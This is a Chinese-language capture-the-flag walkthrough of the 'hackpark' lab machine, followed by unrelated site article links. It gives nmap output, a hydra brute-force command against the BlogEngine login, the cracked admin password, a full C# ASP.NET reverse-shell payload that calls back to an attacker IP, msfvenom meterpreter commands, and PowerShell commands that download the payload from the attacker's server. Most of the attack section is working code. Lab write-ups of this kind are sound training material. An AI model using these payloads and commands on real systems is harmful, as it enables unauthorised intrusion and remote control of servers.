【靶机】hackpack

简介: 本靶机有一定难度,适合进阶的小伙伴进行练习,初学者也可以参考学习。

hackpack

信息收集

Google识图:

小丑叫pennywise

┌──(zacarx㉿zacarx)-[~]
└─$ nmap -T4 -A 10.10.0.131
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-22 22:30 CST
Nmap scan report for 10.10.0.131
Host is up (0.33s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT     STATE SERVICE            VERSION
80/tcp   open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: hackpark | hackpark amusements
| http-robots.txt: 6 disallowed entries 
| /Account/*.* /search /search.aspx /error404.aspx 
|_/archive /archive.aspx
|_http-server-header: Microsoft-IIS/8.5
3389/tcp open  ssl/ms-wbt-server?
| rdp-ntlm-info: 
|   Target_Name: HACKPARK
|   NetBIOS_Domain_Name: HACKPARK
|   NetBIOS_Computer_Name: HACKPARK
|   DNS_Domain_Name: hackpark
|   DNS_Computer_Name: hackpark
|   Product_Version: 6.3.9600
|_  System_Time: 2022-11-22T14:33:12+00:00
| ssl-cert: Subject: commonName=hackpark
| Not valid before: 2022-11-21T14:27:22
|_Not valid after:  2023-05-23T14:27:22
|_ssl-date: 2022-11-22T14:33:20+00:00; 0s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 154.14 seconds
                                                               

image-20221122224009234

image-20221122224319845

attack

爆破神器

hydra -l -P /usr/share/wordlists/ http-post-form

hydra -l admin -P '/usr/share/wordlists/rockyou.txt' 10.10.0.131 http-post-form "/Account/login.aspx?ReturnURL=/admin:__VIEWSTATE=LCLaTYGEYLxbjKKaZYx%2BT%2FOclzbGSOKTFCYmfNf8P0IanNxJxwDsKqJK5nIwt1TynRTD%2FOdM8FL95vDS9avG20JM7VjaSSLtgglOAo%2FHyuC0UO9A%2FacJfC8D%2BVPuDCWt5YdgmZNX5Ri5bHnHwxoeXxdHmo2gRGkvbji1NcKcoxGcn2LZ&__EVENTVALIDATION=0w0yErw7W2ifmWf6d6SF5Nz4ZJGZtbtXnXAR%2BAcDifJTOH%2FUzj0g1jyDAerDFMn24MNE0G8xIsg1UUXykdI9vFuI2728pS0e71r2xbFtk4sQXKWG9r3l%2Fju9cEXoai%2FXDn8F8b6TQ0emte2GLj16enxLcN%2FdSFKn9qJPNElWM%2BPC2Orn&ctl00%24MainContent%24LoginUser%24UserName=admin&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=%E7%99%BB%E5%BD%95=Log+in:Login failed"

image-20221122230516046

image-20221122230601500

login admin

password 1qaz2wsx

进入后台发现

blogengine 3.3.6 有远程代码执行

原理很简单

应该可以掌握,不多说了

<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>

<script runat="server">
    static System.IO.StreamWriter streamWriter;

    protected override void OnLoad(EventArgs e) {
        base.OnLoad(e);

    using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("10.10.59.85", 4445)) {
        using(System.IO.Stream stream = client.GetStream()) {
            using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
                streamWriter = new System.IO.StreamWriter(stream);
                        
                StringBuilder strInput = new StringBuilder();

                System.Diagnostics.Process p = new System.Diagnostics.Process();
                p.StartInfo.FileName = "cmd.exe";
                p.StartInfo.CreateNoWindow = true;
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.RedirectStandardInput = true;
                p.StartInfo.RedirectStandardError = true;
                p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
                p.Start();
                p.BeginOutputReadLine();

                while(true) {
                    strInput.Append(rdr.ReadLine());
                    p.StandardInput.WriteLine(strInput);
                    strInput.Remove(0, strInput.Length);
                }
            }
        }
        }
    }

    private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
       StringBuilder strOutput = new StringBuilder();

           if (!String.IsNullOrEmpty(outLine.Data)) {
               try {
                    strOutput.Append(outLine.Data);
                        streamWriter.WriteLine(strOutput);
                        streamWriter.Flush();
                } catch (Exception err) { }
        }
    }

</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>

payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.17.0.91 LPOST= 9898 -e x86/shika_ga_nai -f exe -o 1.exe

http服务

python3 -m http.server 8880

powershell -c wget “http://ip/1.exe”

GitHub - AonCyberLabs/Windows-Exploit-Suggester: This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.17.0.91 LPORT=900 -f exe -o openme.exe
powershell -c wget "http://10.17.0.91:9988/openme.exe" -outfile "11.exe"

https://github.com/PowerShellMafia/PowerSploit

这个自己了解,困得不行了,xdm 安安 =-=

PEASS-ng/winPEAS/winPEASbat at master · carlospolop/PEASS-ng · GitHub

目录
相关文章
|
存储 算法
【蓝桥杯集训·每日一题】AcWing 1562. 微博转发
文章目录 一、题目 1、原题链接 2、题目描述 二、解题报告 1、思路分析 2、时间复杂度 3、代码详解 三、知识风暴 宽搜BFS
216 0
|
存储 关系型数据库 分布式数据库
PolarDB for PostgreSQL 课后练习5
PolarDB for PostgreSQL 课后练习5
332 0
System.Drawing.Color的颜色对照表
原文地址:http://www.cnblogs.com/xpvincent/archive/2012/12/17/2821665.html 经常使用System.Drawing.Color, 本篇介绍一下颜色与名称及RGB值的对应关系。 1. 颜色与名称的对照表(点击下图放大看): 2. 颜色与RGB值对照表: Color.AliceBlue
1931 0
|
8天前
|
域名解析 人工智能 Linux
|
18天前
|
Linux Go 开发工具
手机上跑 DeepSeek 智能体:开源安卓客户端 DSH Go 安装与使用指南
DSH Go 是一款开源安卓客户端,将 DeepSeek Harness 智能体引擎装进手机:免 Root、免 Termux,一键安装即用;支持本机运行(内置 Ubuntu+Node.js)或远程接管电脑会话;具备插话打断、过程折叠、屏幕操控、端到端加密分享等特色功能,真正实现智能体“口袋化”。
17213 62
|
16天前
|
人工智能
Google 提示「所在地区不可用」?进不去 Antigravity 或 Gemini,先查账号这个设置
进不去 Antigravity 或 Gemini,提示所在地区不可用?三步查清 Google 账号关联地区、官方更正表单理由选法与改区注意事项。
Google 提示「所在地区不可用」?进不去 Antigravity 或 Gemini,先查账号这个设置
|
2天前
|
人工智能 安全 网络安全
|
6天前
|
云安全 数据采集 人工智能
|
7天前
|
Linux API iOS开发
【DSH】DeepSeek Harness新手保姆教程(下载+安装+配置+使用,2026最新实测)
DeepSeek Harness(dsh)是 DeepSeek AI 开源的智能体框架,秉持“一切皆插件”理念,支持读文件、改代码、执行命令、处理表格等自动化任务;免费开源,兼容 Win/macOS,需配 API 密钥使用。(239字)
1296 3